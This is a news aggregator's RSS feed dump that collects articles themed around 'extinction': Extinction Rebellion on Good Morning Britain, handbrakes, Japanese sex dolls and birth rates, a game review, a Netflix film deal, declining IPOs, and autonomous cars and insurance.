“How can @piersmoran get away with speaking to people like that #gmb,” one commented. 

Another added: “You’re asking questions that are not relevant to her protest Piers, you’re trying to make her cause seem daft #gmb.” 

“#GMB learnt absolutely nothing about her protest… let her speak,” someone else remarked. 

A fourth said: “#GMB @piersmorgan shocking journalist once again. Let’s berate a woman into answering a non relevant question in order to try and undermine her wider point. So if nobody’s perfect let’s do nothing?” 

Today is the third day the Extinction Rebellion demonstrations take place in London. 

Nearly 600 people were arrested on the first two days of the group’s two-week protest, with activists attaching themselves to building and blocking roads. 

God Morning Britain airs weekday mornings at 6am on ITV. 

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]]> https://briefnews.eu/piers-morgan-rages-at-extinction-rebellion-founder-practice-what-you-preach/feed/ 0 The Next Great (Digital) Extinction https://briefnews.eu/the-next-great-digital-extinction/ https://briefnews.eu/the-next-great-digital-extinction/#respond Mon, 08 Oct 2018 21:49:49 +0000 http://briefnews.eu/the-next-great-digital-extinction/ How today’s internet is rapidly and indifferently killing off many systems while allowing new types of organizations to emerge.


https://media.wired.com/photos/5bb7e5829bfb5e2cd2cb3af4/master/pass/Ideas_Art_W25_116362058_DigitalExtinction.jpg

]]> https://briefnews.eu/the-next-great-digital-extinction/feed/ 0 Like Manual Transmissions, Handbrakes Are Also Hurtling Towards Extinction https://briefnews.eu/like-manual-transmissions-handbrakes-are-also-hurtling-towards-extinction/ https://briefnews.eu/like-manual-transmissions-handbrakes-are-also-hurtling-towards-extinction/#respond Wed, 19 Sep 2018 22:35:38 +0000 http://briefnews.eu/like-manual-transmissions-handbrakes-are-also-hurtling-towards-extinction/ We’ve long bemoaned the death of the manual transmission. But with few practical advantages other than being more enjoyable to a limited subset of the population, it’s quickly (and understandably) slipping into obscurity. It’s not alone. Based on research conducted by online automotive marketplace CarGurus, the good ol’ handbrake is also rapidly losing relevance as […]

The post Like Manual Transmissions, Handbrakes Are Also Hurtling Towards Extinction appeared first on The Truth About Cars.

]]> https://briefnews.eu/like-manual-transmissions-handbrakes-are-also-hurtling-towards-extinction/feed/ 0 Japanese ‘facing extinction’ as humans turn to silicon sex dolls (VIDEO) https://briefnews.eu/japanese-facing-extinction-as-humans-turn-to-silicon-sex-dolls-video/ https://briefnews.eu/japanese-facing-extinction-as-humans-turn-to-silicon-sex-dolls-video/#respond Mon, 23 Jul 2018 21:09:20 +0000 http://briefnews.eu/japanese-facing-extinction-as-humans-turn-to-silicon-sex-dolls-video/

As Japan’s birth rates fell below the 1 million mark last year, experts have pointed the finger at the rising popularity of sex dolls for singletons.

The issue is the focus of the RT documentary ‘Substitutes,’ in which experts warn that sex dolls are fueling a national mood of loneliness and alienation, making people less interested in human relationships and procreation, and turning the Japanese into an “endangered species.”

READ MORE: 25% of millennials think human-robot relationships will soon become the norm – study

Industry insiders claim that up to 2,000 life-like dolls, each with adjustable fingers, a removable head, and genitals, are sold annually in Japan. For sex doll salesman Noburu Tanaka, the advantage of owning one of the ¥420,000 ($ 3,750) synthetic dolls is its lack of expectation. “It’s an amazing feeling. It looks like a doll, but you feel as though it’s really alive,” he told RT. “When you make love to your wife, there can be some problems. With a doll, none of that matters.”

READ MORE: Sex robots could provide therapy and treat loneliness in care homes

Experts have seen evidence of declining birth rates in areas where there has been a contrasting rise in sex doll sales. For Kanako Amano, a demography expert at the NLI Research Institute in Tokyo, the dolls pose an existential threat to the future of a country where the population is estimated to decline by a third in the next 30 years. “The biggest problem in Japan is the decline in birthrate and population. It’s being called a national disaster,” she said. “The Japanese are at a crossroads, facing the threat of extinction. We’re an endangered species.”

Loneliness among older people seems to be the main driver of the rise in doll sales in Japan. Moru, a sex doll owner, purchased his in the years after the death of his wife. “There was a void in my heart,” he told the documentary team, as he pointed at the row of dolls arranged in a sitting position on his couch. “When I met them, my life became inextricably bound to them. Since these girls appeared in my home, and thanks to them, I haven’t felt that lonely anymore…”

READ MORE: Child sex robots ban approved by US House amid nationwide crackdown on pedophiles

Moru regularly teams up with his friend Keroro, an owner of up to 20 dolls, for drives or trips to the park. They pose the dolls alongside each other on park benches before taking photographs, joking about the human qualities of their inanimate partners, remarking about how tense or nervous one looks.

The dolls are not only used by older people, however. Hitsuji, a young female model, popular with teenagers in Japan, adores her doll Masiro and says she has no desire to live with men.

“Masiro is not a friend, a family member or a loved one. She’s a creature who accepts my love,” she said. “I have never consorted with men like that.”

Demography expert Amano believes the statistics offer a staggering insight into the problem faced by the Japanese. “The curve of unmarried men and women is spiking up. This is the nation’s most accurate and trustworthy research,” she said.

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]]> https://briefnews.eu/japanese-facing-extinction-as-humans-turn-to-silicon-sex-dolls-video/feed/ 0 Extinction review: Shadow of the colossal disappointment https://briefnews.eu/extinction-review-shadow-of-the-colossal-disappointment/ https://briefnews.eu/extinction-review-shadow-of-the-colossal-disappointment/#respond Tue, 10 Apr 2018 09:27:00 +0000 http://briefnews.eu/extinction-review-shadow-of-the-colossal-disappointment/

Enlarge / The towering Ravenii are impressive to look at, less so to fight. (credit: Iron Galaxy Studios)

At my most reductive, I’d call Extinction one long string of escort missions. The game struggles and claws to add more variety, in small ways, but it never shakes up or fleshes out its core rhythm enough to justify a full game. Instead, it feels like a frustrating proof of concept, unworthy of its evocative title.

Backing up a bit, Extinction is an action-platformer clearly influenced by Shadow of the Colossus, Devil May Cry, and especially the anime Attack on Titan. A medieval-fantasy world—of which we only catch shallow glimpses—is under siege by towering, teleporting ogres called “Ravenii” who can topple whole cities with ease. You play as a bland meatbrain who, as we learn through a handful of barely animated 2D cutscenes, is also a magical warrior called a Sentinel. The title grants him enough parkour powers to run up the speechless invaders and lop their heads off.

And lop heads he does. Constantly. Head lopping is pretty much Extinction’s only neat trick, though even that novelty crumbles faster than the settlements you’re meant to protect. It doesn’t take long at all to figure out how sloppy the process really is.

Off with their heads

You can’t just kill one of the Ravenii, for instance. First, you need to charge up a decapitating strike. That means bounding around the city, killing largely meaningless lesser monsters by mashing the square button, or standing next to large crystals long enough to teleport handfuls of civilians to safety. This is where the “escort” elements kick in. Besides needing to complete a given objective before the ogres destroy too much of each city, you want to protect civilians from the man-sized goblins. That way you can bank them for killing blows later on.

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]]> https://briefnews.eu/extinction-review-shadow-of-the-colossal-disappointment/feed/ 0 ‘Extinction’ Headed to Netflix After Being Pulled From Theaters https://briefnews.eu/extinction-headed-to-netflix-after-being-pulled-from-theaters/ https://briefnews.eu/extinction-headed-to-netflix-after-being-pulled-from-theaters/#respond Fri, 09 Feb 2018 14:46:12 +0000 http://briefnews.eu/extinction-headed-to-netflix-after-being-pulled-from-theaters/ Extinction Netflix

In what seems to be a continuing trend, Extinction has become the latest film once intended for theatrical release to find itself sold to Netflix. The film, starring Michael Pena and Lizzy Caplan, was pulled by Universal from its theatrical release two months ago. Now, it will skip theaters entirely and end up on everyone’s favorite streaming service.

The future of theatrical releases grows more uncertain. Extinction, a sci-fi thriller from Hounds of Love director Ben Young, was due to hit theaters on January 26, 2018. But Universal pulled the film with no explanation. Now, Variety reports that Extinction will end up on Netflix. This seems to be a developing trend. Paramount had shuffled the third Cloverfield movie, The Cloverfield Paradox, around several possible release dates, only to have it end up on Netflix. Annihilation, another Paramount movie, will be skipping a UK theatrical release and going right to Netflix as well.

The Future?

Is this a sign of things to come? Studios lacking faith in their product is as old as the film business itself. In the past, when a studio was less-than-sure about a film, they tended to dump it into a few theaters and let it fade from view. But theatrical attendance has diminished, and studios are catching on that a film that wouldn’t be a hit in theaters can still recoup its cost by getting sold off to a streaming service like Netflix. One wonders if this is the ultimate future for films that aren’t huge blockbusters. Will lower budget direct-to-VOD films go the way of the dodo and start finding their way to Netflix instead?

Netflix reportedly paid more than $ 50 million for The Cloverfield Paradox. Yet any illusion that this direct-to-Netflix release method might be the way of the future for the franchise was instantly smashed when, days later, Paramount confirmed they would release the next Cloverfield film, Overlord, in theaters. Rumor has it that Paramount was well aware that the critically un-acclaimed Paradox was an inferior product, and they were all too happy to avoid an uncertain theatrical future.

extinction movie

Extinction 

Extinction comes from Ben Young, the director behind the disturbing horror thriller Hounds of Love. Young’s new sci-fi thriller stars Michael Pena and Lizzy Caplan, with Mike Colter, Lilly Aspell, Emma Booth, Israel Broussard, and Lex Shrapnel rounding out the cast. Here’s the synopsis:

A father has a recurring dream of losing his family. His nightmare turns into reality when the planet is invaded by a force bent on destruction. Fighting for their lives, he comes to realize an unknown strength to keep them safe from harm.

“It’s like nothing I’d ever read before,” Young told The Hollywood Reporter. “It’s a sci-fi family drama…about a guy trying to redeem himself within his family in the midst of an alien invasion.” Extinction sounds like a promising project, but clearly Universal has some sort of issue with the film, or else they wouldn’t have made the decision to dump it onto Netflix. Something worth noting: just because a studio lacks faith in a film, it doesn’t mean the film will be a misfire. Uncertainty was what inspired Paramount to dump Annihilation on Netflix in the UK, but early social media reviews of the film are heralding it as a sci-fi masterpiece.

A film ending up on Netflix instead of in theaters shouldn’t be considered a kiss of death. Last year alone, Netflix released critically acclaimed films like Okja and First They Killed My Father. The bottom line here: there’s a brave new world of movie distribution ahead of us, and we’re all going to have to get used to it.

The post ‘Extinction’ Headed to Netflix After Being Pulled From Theaters appeared first on /Film.

]]> https://briefnews.eu/extinction-headed-to-netflix-after-being-pulled-from-theaters/feed/ 0 IPOs could be headed for extinction https://briefnews.eu/ipos-could-be-headed-for-extinction/ https://briefnews.eu/ipos-could-be-headed-for-extinction/#respond Sun, 29 Oct 2017 18:20:11 +0000 http://briefnews.eu/ipos-could-be-headed-for-extinction/

GUEST:

This year may have seen an increase in IPOs from 2016 (123 so far in 2017 vs. 105 all of last year), but the number of companies going public today is well below the average of 222 IPOs per year we saw in the U.S. between 2013 and 2015. Will 2018 be just another “slow year”? The reality is that the IPO market is slowly going away; startups have been staying private longer and raising capital in the private markets. Fewer and fewer firms are going public — for excellent reasons.

To understand my rationale, let’s briefly consider the origins of the U.S. stock market. In the late 1700’s, businessmen began meeting along a “wall” originally built by the Dutch in lower Manhattan. These people meeting on what would later be aptly named Wall Street traded government bonds and then eventually traded in the ownership of companies. At the time, Wall Street created an important value in any market — transferability and liquidity of something you owned.

Today, the core value of this exchange mechanism is consistently losing value. This is why there are now only about 4,300 publicly traded companies, where there were about 7,000 only 30 years ago. In a market economy, things happen for a reason. If there are fewer public companies, there is a cause. I am beginning to wonder if public companies will be necessary at all in the next 30 years.

There are three main reasons for the decline in the number of public companies. The message private companies are giving the public market is clear:

1. We don’t need you

Companies go public to raise money. Today, private companies have more access to capital than they used to without going through the public-company process. The growth of private equity markets has been substantial. After steadily increasing in recent years, aggregate U.S. private equity deal values reached a high of $ 578 billion in 2016. Companies don’t need to turn to public-market money.

2. We don’t want to be distracted by you

Being public forces companies and entrepreneurs to be distracted by short-term performance and short-term reporting, which is in direct conflict with building long-term value, the goal of a good steward of a company. The market and the coverage of it are dominated by short-term price quotes and performance metrics. This is not even to mention the risk of being public in a sea of government regulation (we will address this in a moment).

3. We can’t afford you

On this note, rightfully, people don’t want to put up with the regulatory economic burden of being a public company. It is onerous and sometimes a waste of time. It’s also very expensive. Initial public offering costs can average approximately $ 3.9 million, plus the equivalent of about 4 percent of gross proceeds of the offering. Once a company is public, some estimates put the annual added cost at around $ 2 million.

While a reduction in IPO numbers may not have a big impact on the companies looking to raise capital, fewer public companies could have a significant impact on the economy and the investing public. Individual investors would have fewer options for investing their money. In fact, stock ownership has already begun to slide. According to Gallup, between 2001 and 2008, an average of 62 percent of U.S. adults said they owned stocks. In 2017, however, that number is 54 percent.

In addition, if the public markets become a last resort for companies looking to raise cash, the quality of the opportunities for mom and pop investors may be sub-par compared to those available to wealthier investors. Non-accredited investors, (i.e., those who don’t have a net worth of $ 1 million or a household income of at least $ 300,000) have very restricted access to unregistered (“private”) securities offerings. It would be a shame if the average investor who’s not accredited is locked out of being able to invest in good individual companies. Some of the companies now going public seem to be unattractive investment opportunities. It used to be that the very best companies went public. It would be a shame if the public markets became a bin of losers.

On a side note, the decrease in the number of publicly traded companies is a good example of what can happen when regulation is created in a vacuum. Regulation may sound like a great idea, but it can have unintended effects when regulators do not anticipate the dynamics of how various parties will react to the new rules. After the Enron and WorldCom debacles, the “solution” was more regulation of public companies. This assumed that public companies – and companies considering going public – did not have other options but to be public. Companies are proving now that they do have other options, and they are choosing them. They are acting rationally. The bottom line: fewer public companies is probably good for those companies that decide to remain private and not so good for individual investors.

[Related: See VentureBeat’s coverage of the tremendous recent change in the IPO market here.]

Brian Hamilton is chairman and founder of Sageworks.

VentureBeat

]]> https://briefnews.eu/ipos-could-be-headed-for-extinction/feed/ 0 Autonomous cars could drive auto insurance to extinction https://briefnews.eu/autonomous-cars-could-drive-auto-insurance-to-extinction/ https://briefnews.eu/autonomous-cars-could-drive-auto-insurance-to-extinction/#respond Sat, 07 Oct 2017 08:11:53 +0000 http://briefnews.eu/autonomous-cars-could-drive-auto-insurance-to-extinction/

GUEST:

In a 2015 interview, Elon Musk pointed out that recent advances in auto technology could lead to human-operated vehicles becoming illegal someday. While this may seem ludicrous to some, it could play out sooner than you think. By 2025 — just a few short years away — the auto industry’s autonomous segment is projected to reach a worth of $ 26 billion, according to insights from Bain & Company. Some estimates even project as many as 10 million self-driving cars will be on the road by 2020.

Musk’s prediction that human-controlled vehicles could be outlawed comes from not only an increase in autonomous options, but also for one simple reason: safety. It’s hard to imagine tech operation being safer than human operation, but vehicle safety statistics point to driver error as one of the top causes of auto accidents. In fact, more than 3,000 people were killed and 431,000 injured from distracted driving in 2014 alone, with contributing factors including cell phone usage, fatigue, aggressive driving, and running red lights. Although it’s far too early for statistical comparison, it’s fair to say that autonomous vehicles will face far fewer variables and will have greater predictability in certain driving situations.

Do you have an AI strategy — or hoping to get one? Check out VB Summit on October 23-24 in Berkeley, a high-level, invite-only AI event for business leaders.

Unfortunately, we haven’t quite maximized safety protocols on autonomous cars just yet. For example, Uber recently experienced some roadblocks when testing for autonomous vehicle risks, with a higher than expected human takeover rate required and patterns of hard decelerations and abrupt jerks still in play. However, once autonomous vehicles do receive a gold star for safety standards, it will have a massive impact on the automotive industry. And auto won’t be the only industry disrupted by autonomous vehicles. Law enforcement, retail, and hospitality will all experience a shift in how they do business — but none more so than the insurance industry.

Without driver error, will we need insurance at all?

In theory, removing human error from the roads means fewer accidents — which would also remove the need for private insurance that covers damage caused by drivers. In tandem, these two changes would lower accident liabilities and, theoretically, cause a huge drop in personal auto insurance premiums.

As it stands, auto insurers offer rates based on individual driving histories, and can even optimize each policy’s pricing via driver-approved telematics. As the insurance industry adapts to new technology saturating the market — turning drivers into mere passengers — the liability for accidents caused by autonomous vehicles could be handed off to the manufacturer, software designer, or even the government through the Department of Transportation. “At least the current thinking is that the manufacturers will be ultimately responsible for a lot of these future accidents when an automated vehicle is involved,” said Rick Gorvett of the Casualty Actuarial Society.

But the Insurance Information Institute’s Michael Barry doesn’t think these changes will wipe out owner responsibility in total. Barry pointed out that driver error isn’t the only danger to vehicles, and owners and insurance companies will still have to factor in off-road damages that may occur. “Cars can still get flooded, damaged, or stolen,” he said, “but this technology will have a dramatic impact on underwriting. A lot of traditional underwriting criteria will be upended.”

If something happens, who’s going to fix all this stuff?

This focus on off-road damages would logically lead to an increased emphasis on service contracts that cover exterior and technological maintenance. And with the advanced technology needed to make fully autonomous cars a reality, auto maintenance technicians will quickly become IT gurus, rather than just repair mechanics. So, those owners who take on at-home repairs may begin to think twice — tackling these jobs will require new and complicated diagnostic tools to identify and repair integrated technological failures.

While tech repairs will prove vital to the capability and safety of AI-backed vehicles, autonomous vehicles will also require an increase in general maintenance, like alignments and tire changes, in order to remain fully viable. Something as simple as a vehicle’s alignment being off could easily affect autonomous steering adjustment calculations, and ultimately create a safety hazard for passengers. This, in theory, could shift responsibility back to the driver.

These and many other scenarios will need to be considered when adjusting insurance policies for new technology.

“Obviously, it’s not going to be up to the property and casualty insurance industry to determine when driverless cars take to the road, how they operate, and what kinds of technology they use,” explained Michael Macauley, CEO of Quadrant Information Services. “It is, however, going to be up to insurance carriers to understand the situation and evaluate the risks posed by different operators — if that’s even the right word — in different cars on different roads and in different weather, using a variety of technologies.”

Scott McLaren is executive vice president and chief marketing officer at Fortegra Financial Corporation (a Tiptree Inc. company), a single-source insurance services provider that offers a range of consumer protection options including warranty solutions, credit insurance, and specialty underwriting programs.

VentureBeat

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